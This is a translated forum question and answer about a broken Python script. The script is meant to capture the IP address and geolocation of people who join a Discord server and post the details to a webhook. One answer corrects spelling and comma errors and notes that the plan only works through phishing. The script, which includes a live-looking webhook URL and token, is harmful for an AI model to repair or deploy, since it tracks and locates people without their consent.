我试图做到这一点,以便当有人加入我的服务器时,Webhook 会获取他们的 IP 并将其发送到频道
我不确定出了什么问题,所有错误只是告诉我每行语法无效
import requests
import json
from dhooks import Weebhook, Embed
from datetime import datetime
hook = Weebhook("https://discord.com/api/webhooks/766365269370601562/b4tDfhvyT6aNcZ2R3p1pFrxAMMwV044aw39jCGlaaiLUWvFRyR2oMv6PV74VwihJJQgK")
time = datetime.now().starttime("%H%M %p")
ip = request.get('https://api.ipify.org/')
r = requests.get(f'https://extreme-ip-lookup.com/json/{ip}')
geo = r.json()
embed = embed()
fields = [
{'name' ": 'ip', 'value: geo['query']"},
{'name' ": 'ipType', 'value': geo['ipType']"}
{'name' ": 'Country', 'value': geo['country']"}
{'name' ": 'countryCode', 'value': geo['countrycode']"}
{'name' ": 'City', 'value': geo['city']"}
{'name' ": 'Continent', 'value': geo['Continent']"}
{'name' ": 'IPName', 'value': geo['IPName']"}
{'name' ": 'ISP', 'value': geo['isp']"}
{'name' ": 'latitute', 'value': geo['lat']"}
{'name' ": 'Longitude', 'value': geo['lon']"}
{'name' ": 'Org', 'value': geo['org']"}
{'name' ": 'Region', 'value': geo['region']"}
{'name' ": 'Status', 'value': geo['status']"}
]
for fields in fields
if field['value']:
embed.add_filed(name=field['name'], value=field['value'], inline=True)
hook.send(embed=embed)
您将
Webhook
拼写为 Weebhook
。
试试这个:
import requests
import json
from dhooks import Webhook, Embed
from datetime import datetime
hook = Webhook("https://discord.com/api/webhooks/766365269370601562/b4tDfhvyT6aNcZ2R3p1pFrxAMMwV044aw39jCGlaaiLUWvFRyR2oMv6PV74VwihJJQgK")
也就是说,我认为没有可行的方法来获取用户的 IP 地址,除非你可以对他们进行网络钓鱼,因为 Discord 默认情况下不会公开用户的 IP 地址。
在列表中每个元素后面必须写冒号(,)